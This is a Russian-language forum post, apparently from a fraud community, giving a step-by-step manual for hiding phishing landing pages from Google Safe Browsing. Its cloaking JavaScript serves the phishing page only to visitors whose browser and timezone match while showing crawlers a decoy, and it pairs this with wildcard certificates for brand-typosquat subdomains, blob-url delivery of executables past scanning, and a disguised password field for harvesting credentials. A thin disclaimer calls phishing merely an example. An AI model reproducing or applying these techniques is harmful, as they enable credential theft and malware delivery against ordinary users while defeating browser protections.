Как обойти Google Safe Browsing на лендинге или оффере
Подробный мануал о том, как избежать бана вашего лендинга или оффера браузером. Надоели постоянные блокировки доменов и красные таблички в Гугл Хроме? Тогда этот пост для вас! (Никого не призываем к фишингу, он здесь используется в качестве примера - для более глубокого понимания того, как небритые мошенники лихо и без напрягов обходят защиту Гугла от таких как они 😊).

1. Давайте немного похлебаем воды и разберёмся, что из себя представляет Google Safe Browsing. Эта всеми нелюбимая шняга имеет четыре составляющих:
- Встроенный в браузер Google Chrome механизм, который определяет потенциальные сайты-фишинги на основе сопоставления цветовых палитр и элементов доменных имён из предыдущих посещений.
- Механизм, который проверяет URL-адреса и хеши файлов, сравнивая их с предварительно загруженной базой укороченных хешей, которая хранится на локальном устройстве.
- Механизм, который деархивирует множество типов файлов и проверяет их исполняемые файлы и секции хешей с локально хранящейся базой.
- Краулер, который получает адреса загруженных файлов, проверяет их и передает на сервера Google для анализа антивирусным движком с помощью ВирусТотал.


2. Регаем новый домен.
Новорегу необходимо дать время на "отлёжку" как минимум на одну недельку, потому что Google не доверяет совсем недавно зарегистрированным доменам. Имя домена не должно содержать:
- брендовых слов;
- брендовых слов с опечатками;
- имён доменов, на которые юзер заходил до этого, по типу Avito, Telegram, VK и тд.

В качестве подопытного заюзаем вымышленный ничем неприметный домен - crb5.com.


3. Умный подход к адресу сайта. Для обеспечения максимальной безопасности нашего домена, мы решили привязать его к популярной бесплатной платформе cloudflare.com. Мало кто знает, что все ssl-сертификаты, которые мы создаем, автоматически попадают в специальный лог, называемый "certificate transparency log". Этот лог постоянно шныряют и мониторят топовые антивирусные компании и мы можем убедиться в этом, просто зайдя на эту линку (там нажмите Try it и сами всё увидете). Благодаря этому подходу, все сертификаты, выданные для доменов, содержащих брендовые слова или их якобы случайные опечатки, пермаментно попадают в поле зрения антивирусников, что позволяет крайне быстро обнаруживать фишинговые сайты и мошеннические схемы. Иными словами - выпустил ты ссл-сертификат для своего блаженного лендинга и ты уже считай в базе.

Чтобы избежать подобных неприятных проблем, мы и вовсе не будем заказывать сертификат для брендового домена или же с якобы опечатками в бренде. А что делать? Cloudflare предоставляет шикарную возможность бесплатно заказать так называемый wildcard сертификат, который распространяется на абсолютно все поддомены нашего главного домена, без указания конкретного имени субдомена. Таким образом, даже если в имени нашего субдомена будут допущены брендовые стоп-слова, наш ресурсик не будет замечен злыми антивирусами. Ниже пример вилдкард-домена на Клоуде:
https://i.yapx.ru/V57uy.png

122.1.1.231 это айпишник нашего сервака. Теперь наш лендинг можно посетить по адресу telegrarm.crb5.com, или же по любому другому поддомену - все они будут отображать одно и то же.


4. Скрываем лендинг от GSB-краулера.
Краулер GSB (а также краулер GoogleAds) разработан на базе исходного кода Google Chrome с незначительными изменениями. Он работает в режиме headless и управляется через протокол webdriver. Заблокировать его по IP-адресу бессмысленно, так как он использует прокси-сервера с домашними адресами. Однако в headless-режиме десктопной версии браузера Chrome отключается поддержка Notification API. Мы можем определить краулер по наличию поддержки этого API и отображать ему белый сайт вместо вредоносного.

Для начала мы создадим белый сайт-ловушку. Допустим, что стартовая страница нашего фишинга имеет название index.php. Мы переименуем ее в home.php, а на страницу index.php добавим код чистой (белой) страницы лендинга, которую мы приобрели, например, в каком-то телеграм-боте.

Теперь код стартовой страницы index.php будет выглядеть примерно так:
https://i.yapx.ru/V57uy.png

Для того, чтобы пользователи видели не белый сайт, а нашу фишинговую страницу, мы добавим следующий HTML-код в head-раздел нашей стартовой страницы index.php:
<script>
home = 'L2hvbWUucGhw';
zones = /Madrid|Canary|Vienna|Istanbul/gi;
timezoneOffset = zones.test((new Intl.DateTimeFormat).resolvedOptions().timeZone);
self.Notification&&timezoneOffset&&fetch(atob(home)).then(
function(r){return r.text().then(function(t){document.write(t)})}
);
</script>

В данном скрипте мы выполняем следующие действия:
- Мы скрываем адрес нашей фишинговой страницы (home.php) в переменной "home", закодировав его в base64 (например, на сайте base64encode.net). Это необходимо, поскольку краулер Google Safe Browsing (GSB) извлекает все ссылки из загружаемых файлов и пытается их скачать и выполнить анализ.
- Чтобы обезопасить наш фишинг от лишних глаз, мы отсекаем пользователей на основе часового пояса, используемого их системой. Мы используем таблицу названий часовых поясов для стран, которые нас интересуют, и если мы хотим лить на лендинг трафик из Германии, мы заменим строку "zones = /Madrid|Canary|Vienna|Istanbul/gi;" на строку "zones = /Berlin/gi;", что позволит нам отсечь всех пользователей (и краулеры), у которых в настройках системы выбран другой часовой пояс.
- В конце мы проверяем поддержку notification API и, если у пользователя выбран подходящий для нас часовой пояс, мы скачиваем содержимое файла home.php и замещаем его содержимым текущей страницы index.php.

Таким образом, в результате выполнения данного скрипта код нашей стартовой страницы index.php будет иметь примерно следующий вид:
https://i.yapx.ru/V57u6.png

Как результат, все подходящие пользователи видят наш фишинговый лендинг.
https://i.yapx.ru/V57u9.png


5. Теперь нам необходимо преобразовать все JavaScript-файлы, которые были использованы в предыдущей версии нашего веб-сайта. Важно помнить, что инструмент Google Crawler проверяет и запоминает все файлы JavaScript, которые были обнаружены на страницах, классифицированных как опасные для пользователей. Поэтому, чтобы избежать риска, нам следует выполнить процедуру обфускации файлов JavaScript еще раз перед началом работы с сайтом. Мы можем использовать любой из широкого выбора доступных JavaScript-обфускаторов, таких как, например, вот этот - один из самых популярных в своём роде.


6. Давайте обсудим важный пункт уникализации нашего ресурса - изменение цветовой палитры ленда. В Гуглохроме есть встроенный механизм, который определяет фишинговые сайты, исходя из совпадения суммы всех цветовых пикселей на странице с палитрами сайтов, на которые юзер заходил до этого. Если мы захотим изменить палитру цветов нашего лендинга, мы можем сделать это в одну строку JavaScript-кода. Для этого необходимо добавить эту строку в js-файл, который будет загружен из <head> раздела страницы home.php, чтобы она выполнилась до загрузки основного содержимого страницы. Вот как это можно сделать:
document.documentElement.style.cssText="filter:hue-rotate(4deg)";

Чтобы добавить эту строку в любой javascript-файл из <head> секции страницы, можно, например, включить ее в файл jquery.js, или запихнуть в любой другой файл исполняемого ЖС-скрипта.
https://i.yapx.ru/V57vC.png


7. Мы должны изменить заголовок страницы нашего лендинга не немного иной. Например, Касперский проверяет совпадение содержимого тега <title> нашей страницы с содержимым тега <title> страниц, которые пользователь ранее посещал. Итак, без лишних слов и потных рассказов, меняем это:
https://i.yapx.ru/V57vI.png

на вот это:
https://i.yapx.ru/V57vN.png


8. Наличие файла для скачивания на лендосе. Если на вашем ленде имеется файл, который пользователь должен скачать, то адрес этого файла будет отправлен в Google, а затем краулер GoogleSafeBrowsing загрузит и глубоко проанализирует этот файл с помощью своего собственного антивирусного движка и на платформе, конечно же, Вирустотала. Хеши "плохих" файлов и секций исполняемых файлов будут храниться локально в браузере Хром. Поэтому, для начала, необходимо использовать чистый файл. Если файл содержит брендовые слова в его имени, то Chrome как пить дать - заблокирует его скачивание. Поэтому мы используем нейтральное имя файла, например Installer.exe, а не Telegram_installer.exe. Кроме того, скачивание файла будет заблокировано, если оно не инициировано физическим кликом мыши пользователя, или тип файла является исполняемым, и домен, с которого он был скачан, не был посещен пользователем в течение последних 24 часов. А так же если файл является исполняемым и не имеет цифровой подписи (хотя бы недействительной), он также будет заблокирован.

Для ознакомления с тем, как браузер Chromium определяет опасность файла, можно прочитать параметры здесь. Список файлов, которые Chrome считает исполняемыми, можно увидеть здесь.

Чтобы предотвратить загрузку нашего файла краулером Google, нам необходимо:
- Отказаться от использования статических адресов файла
- Удалить адрес файла в чистом виде из кода страницы
- Отдавать файл пользователю через эфемерный blob-url (тоже хз что это такое?😀 читаем дальше!)

Допустим, что наша ссылка для скачки файла выглядит так:
https://i.yapx.ru/V57vQ.png

Нужно вырезать из неё прямой путь к файлу, хотя бы просто закодировав его в base64 любым энкодером и так же припаяем для нашей линки любой id, чтобы могли ухватить её через javascript:
https://i.yapx.ru/V57vR.png

Теперь в наш jquery.js (у вас может быть и другой - тот, который вы выбирали чуть ранее) пропишем код, который ждёт полной загрузки DOM-дерева страницы и у всех ссылок с id="clickbtn" заменит адрес для скачивания файла на временный blob-url:
document.addEventListener('DOMContentLoaded',function(e) {
document.querySelectorAll('#clickbtn').forEach(function(a,url) {
  url = atob(a.href.split('/').slice(-1)[0]);
  fetch(url).then(function(r){return r.blob()}).then(function(blob){
   a.href = URL.createObjectURL(blob);
   a.download = url.split('/').slice(-1)[0];
  });
});
});

Показываю все изменения нашего джс-файла:
https://i.yapx.ru/V57vU.png

Далее обфусцируем наш новомодный код:
https://i.yapx.ru/V57va.png


Помните, что даже если архив с файлом внутри стоит под паролем, всё равно 100% что браузер Гугла увидит названия файлов в архиве и поймет, что там содержатся исполняемые файлы и вашей сладкой песенке придёт кирдык.


9. Форма для ввода пароля. Если у вас есть форма ввода конфиденциальной информации на лендинге, то это может вызвать определенные трудности. В первую очередь, браузер Chrome относится с подозрением к html-страницам, на которых присутствует поле ввода пасворда или ключевое слово "пароль" на любом языке.

Чтобы решить эту проблему, обязательно надо удалить слово "password" из кода страницы и заменить его на другой элемент с произвольным классом, например, на span с классом "pass". Для этого можно использовать псевдо-элементы в css -  ::before или ::after. Они не участвуют в представлении DOM-дерева страницы и могут быть крайне полезны в данном случае. Итак, у нас есть такая палевная шняга на лендосе:
https://i.yapx.ru/V57vi.png

Заменяем это дело на такого рода код:
https://i.yapx.ru/V57vj.png

Далее, необходимо добавить следующий html-код в любое место html-кода нашей страницы:
<style>
.pass::before{content:"pass\08word"}
</style>

Здесь мы использовали символ \08 (backspace), чтобы скрыть слово "пароль" внутри блока стилей и сделать его менее узнаваемым. Таким образом, мы обфусцировали поле ввода пароля на нашей странице и получили вот такие чудеса:
https://i.yapx.ru/V57vn.png

Общий вид:
https://i.yapx.ru/V57vw.png

А вот код самой формы ввода. Как думаете, нужно ли его изменять?
https://i.yapx.ru/V57vz.png

Конечно!
<div class="wrapper">
<input type="text" id="dots" class="form-control input ext-input text-box ext-text-box">
<input type="text" name="passwd" id="i0118" class="form-control input ext-input text-box ext-text-box">
</div>

https://i.yapx.ru/V57v0.png

Мы провели изменения в нашей системе ввода пароля, заменив тип поля с "password" на "text". Далее, мы добавили новое текстовое поле с идентификатором "dots" рядом с первым полем и обернули обоих в отдельный слой. Это действие было необходимо, чтобы создать естественное поле ввода пароля. Первое поле будет отображать хорошо знакомые нам символы пароля в виде точек (●) по мере того, как пользователь вводит их. Второе поле будет находиться над первым, иметь нулевую прозрачность и передавать все введенные символы в первое поле. Чтобы сохранить исходный дизайн, мы скопировали все классы от поля с паролем и применили их к новому полю с точками.

Теперь мы перейдем к настройке наложения второго поля над первым. Для этого мы добавим следующие стили в код нашей страницы:
 .wrapper {position:relative;}
.wrapper input[type=text] {position:absolute!important}
.wrapper #i0118 {opacity:0!important}

#i0118 - это идентификатор оригинального поля для ввода пароля. Итоговый код:
https://i.yapx.ru/V57v1.png

В представленном коде, необходимо задать значение position:relative для блока с классом wrapper, чтобы корректно позиционировать внутренние блоки относительно родительского элемента. Теперь, с целью оживить поля ввода, мы вставим следующий скрипт в любой из уже подключенных .js файлов:
document.addEventListener('DOMContentLoaded', function(e) {
i0118.onfocus = function(e){dots.value=dots.value||'|'}
i0118.onkeyup = function(e){dots.value=i0118.value.replace(/./g,'●')+'|'}
});

В приведенном выше коде i0118 - это id оригинального поля для ввода пароля, а dots - это id поля, изображающего пользовательский ввод. Итоговый скрипт:
https://i.yapx.ru/V57v4.png

Готово, ни одного намёка на пароль нет на нашем лендинге.

Итог: мы получили чистый безопасный лендинг, который прослужит долго и не будет улетать на красный экран смерти, тоесть в бан гугла. А если же это всё-таки случится, то вы знаете что делать 😊

Не забываем про:
Канал в Телеграм: @crabs_channel
Чат в Телеграм: @crabsmoney
Канал магазина: @crabs_money_shop
Группа для реклам: @crabs_ads


Категория: Прочее Сайты, шаблоны, CMS
Рейтинг поста: 1
Дата добавления: 17 апреля 2023 в 20:03
Комментариев: 0
Автор: MrCrabs
Рейтинг автора: 198.41
Просмотров всего: 1022
Просмотров за неделю: 7
Комментариев нет
Авторизуйтесь для добавления комментария